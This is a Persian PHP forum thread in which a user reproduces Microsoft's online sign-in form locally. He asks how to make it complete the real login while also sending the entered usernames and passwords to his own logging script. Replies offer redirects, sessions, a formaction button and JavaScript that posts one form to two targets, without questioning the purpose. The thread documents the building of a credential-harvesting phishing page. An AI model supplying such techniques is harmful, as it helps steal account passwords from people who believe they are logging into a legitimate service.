PDA

View Full Version : سوال: اجرای همزمان 2 اکشن در PHP



ciph3r
چهارشنبه 24 دی 1393, 19:50 عصر
سلاممن یک برنامه دارم که دارم با php می نویسم که به مشکلی برخورد کردمکد زیر را ببینید


<form method="post" name="userLogin" action="/login/?portal:componentId=776&amp;portal:type=action&amp;portal: isSecure=false&amp;portal:portletMode=view" onsubmit="return( submitFormUserLoginp776I() );" >
<label class="portlet-form-label text" for="p776Iuser.login.username">* Email:</label>
<input type="text" class="portlet-form-input-field text" id="p776Iuser.login.username" name="user.login.username" onfocus="this.select();" />
<label class="portlet-form-label password" for="p776Iuser.login.password">* Password:</label>
<input type="password" class="portlet-form-input-field password" id="p776Iuser.login.password" name="user.login.password" onfocus="this.select();" />

<input type="submit" name="submit-user-login" id="submit-user-login" value="Sign In" class="portlet-form-button" />
</form>

این یک فرم HTML هست که اکشن شده به یه آدرسیحالا من میخواهم همون برنامه را اکشن کنه به همون آدرس و همون فرم به یه فایل test.php هم اکشن بشه که من بتونم از اونور با نوشتن کد های PHP ادامه برنامه را بررسی کنمحالا من چگونه 2 تا اکشن در یک فرم انجام دهد ؟آیا اگر 2 تا اکشن شد از اونور به صورت PHP چگونه دیتا را بگیرم

ostadsho
پنج شنبه 25 دی 1393, 01:30 صبح
توی یه فرم فقط میتونید یه اکشن داشته باشید شما باید اکشن رو روی یک صفحه تنظیم کنید و بعدش مثلا با دستور header اطلاعات رو منتقل کنید به صفحه دوم تا اونجا هم بررسی بشه،اگر مشکلی بود کدها رو دقیق تر بگذارید تا بیشتر توضیح بدم خدمتتون.

ciph3r
پنج شنبه 25 دی 1393, 18:20 عصر
سلام
متوجه منظور شما شدم اما فکر می کنم شاید راه آسونتری هم باشه
کد زیر را ببینید

این فرم یه اینپوت داره که یوزرنیم و پسورد را میگیره و میفرسته به آدرس مایکروسافت که چک بکنه ببینه لاگین میشه یا نه
حالا من می خوام این فرم کار خودشو انجام بده اما به اکشن دیگه بهش اضافه کنم که مقادیری که در قسمت یوزد و پسورد وارد میشود را لاگ بگیرم ئ اکشن جدید بزارم برای مثل زیر :

action="log.php"



<form id="credentials" method="post" action="https://login.microsoftonline.com/ppsecure/post.srf?bk=1420901870">
<div id="cred_userid_container" class="login_textfield textfield">
<span class="input_field textfield">
<label for="cred_userid_inputtext" class="no_display">User account</label>
<div class="input_border">
<input tabindex="1" id="cred_userid_inputtext"
class="login_textfield textfield required email field normaltext"
placeholder="someone@example.com " type="email" name="login"
spellcheck="false" alt="someone@example.com " aria-label="User account"
value="" autocomplete="off" />
</div>
</span>
</div>
<div id="looking_container" class="no_display">
<span id="looking_cta_text" class="bigtext">Looking for an account</span>
<span class="input_field normaltext login_textfield">
<a id="looking_cancel_link" tabindex="3" href="">Cancel</a>
</span>
</div>
<div id="redirect_cta_text" class="bigtext">Redirecting</div>
<div id="redirect_dots_animation" class="progress">
<div class="pip"></div>
<div class="pip"></div>
<div class="pip"></div>
<div class="pip"></div>
<div class="pip"></div>
</div>
<div id="cred_password_container" class="login_textfield textfield">
<span class="input_field textfield">
<label for="cred_password_inputtext" class="no_display">Password</label>
<div class="input_border">
<input tabindex="2" id="cred_password_inputtext"
class="login_textfield textfield required field normaltext"
placeholder="Password" spellcheck="false" aria-label="Password"
alt="Password" type="password" name="passwd" value="" />
</div>
</span>
</div>
<div id="redirect_message_container" class="login_textfield">
<span class="input_field normaltext">
<div><span id="redirect_message_text">We‘re taking you to your organization's sign-in page.</span><span id="redirect_company_name_text"></span>
<a id="redirect_cancel_link" tabindex="3"
href="">Cancel</a>
</div>
</span>
</div>
<div id="cred_hidden_inputs_container" class="no_display">
<input type="hidden" id="PPSX" name="PPSX" value="Pa"/>
<input type="hidden" name="PPFT" id="i0327" value="AwkqfGJKg1QaGyXTVyzTqfEMk48XLRSTApGmnuuRsXMpHYgZUj 8C2jj0e06ngbJb0QrpmBWSo9xsUYiWecmATIPSsDt3TyFNrjz4 yDFyZEorBl5CuyjTC57ErxIXjelk6WVicC!4LIEANy2o6fTxlk If0DFHIDQeTHE35126FcTWfd50DiGzpqvPCCRWEH0elc3MbgzY C*7KGEk3dw$$"/>

</div>
</form>

ciph3r
جمعه 26 دی 1393, 22:31 عصر
اساتید کسی نبود کار مارو راه بندهزه و راهنمایی بکنه ؟خیلی سرش گیرم خداییایده ای ؟ راهنمایی ؟ =یشنهادی

Mohammadsgh
جمعه 26 دی 1393, 22:47 عصر
اگه میخوایید مقدار چیزی رو توی چند تا برگه استفاده کنید از سیشن استفاده کنید

ciph3r
جمعه 26 دی 1393, 22:58 عصر
سیشن جواب نمیدهاگر میده ممنون میشم مثالی ذکر کنیداحساس میکنم راه سادتری هم هست که نیاز به سیشن یا ریدایرکن نداشته باشه

Mohammadsgh
شنبه 27 دی 1393, 10:39 صبح
اگه منظورتون رو درست متوجه شده باشم.این کد میتونه کمکتون کنه.این $_post['field1'] هم تکست باکس های برگه(page)نخستیم شماست که مقادیرش تو سیشن قرار میگیره و حالا میتونید تو فایل test.php استفاده کنید و به فرم دیگه ای نیاز نیست

test.php


session_start();
$_SESSION['field1']=$_POST['field1'];
$_SESSION['field2']=$_POST['field2'];
$_SESSION['field3']=$_POST['field3'];

ciph3r
شنبه 27 دی 1393, 15:25 عصر
نه درست متوجه نشدید
البته اینی که دادید بخشی از کار هم هست و به درد هم می خوره اما مشکل اصلی جای دیگشت
اجازه بفرمایید با مثالی شادتر شمارا در جریان مشکل قرار دهم
خوب در فرم های html ما میتونیم به تنها 1 آدرس action کنیم
درسته ؟
حالا فرض کنیم فرم موجود ما به test.php اکشن کرده
حال من می خواهم که فرم مذکور هم به test.php اکشن بکنه هم به فایل دیگری که مد نظر بنده است
خلاصه عرض کنم می خواهم 1 فرم داشته باشم که مقادیر داخل فرم را به 2 تا آدرس متفاوت اکشن کنه
همین

حالا چیزی که شما دادین درسته و به درد هم میخوره فقط مربوط به بعد از مشکل من میشه
مشکل من قبل از گرفتن مقادیر فرم هست

hamedarian2009
شنبه 27 دی 1393, 16:53 عصر
سلام.
توی یک فرم در حالت معمول نمیتونید همزمان به دوتا url اطلاعات رو همزمان بفرستین ولی یک راه ساده میتونید این کارو کنید که دوتا دکمه submit ایجاد کنید


<input type="submit" value="default" />
<input type="submit" value="custom" formaction="index.php" />

دکمه اولی از اکشن فرم تبعیت میکنه اما دکمه دومی از اکشن خودش تبعیت میکنه. اگه این به کارتون نمیاد بگین تا روش های دیگری رو بررسی کنیم

ciph3r
شنبه 27 دی 1393, 17:19 عصر
دستت درد نکنه قربان
باز روش جالبیست اما مشکل اینجاست که باید 1 دکمه باشه که اون دکمه هم برای Sign کردن هستش
اصل فرمی که قراره ادیت بکنم اینه
http://login.microsoftonline.com/

که این سورس را من ذخیره کردم و در لوکال آوردمش بالا
حالا این سورس بر اساس حالت اولش در لوکال هم تست لاگین انجام میشه با حالت عادی
اما من می خوام به غیر از این هم من لاگ بگیرم که سوزر و پسورد های که وارد میشه در قسمت یوزر و پسورد من بتونم ذخیره کنم در فایل دیگری
نمیدونم منظورم را رسوندم یا نه

الان من چیزی را پیدا کردم
نمیدونم به درد می خوره یا نه

لینک : http://www.html-form-guide.com/web-form/submit-form-multiple-scripts.html

ciph3r
یک شنبه 28 دی 1393, 14:55 عصر
من از کد زیر استفاده کردم اما باعث میشه که دکمه سابمیت فرم از کار بیوفته



<script type='text/javascript'>

function SubmitForm()
{
if(document.forms['contactus'].onsubmit())
{
showResultDiv();
document.forms['contactus'].action='action1.php';
document.forms['contactus'].target='frame_result1';
document.forms['contactus'].submit();

document.forms['contactus'].action='action2.php';
document.forms['contactus'].target='frame_result2';
document.forms['contactus'].submit();

}
return true;
}

function showResultDiv()
{
var result_div = document.getElementById('resultcontainer');
result_div.style.display="";
}

function hideResultDiv()
{
var result_div = document.getElementById('resultcontainer');
result_div.style.display='none';
}


</script>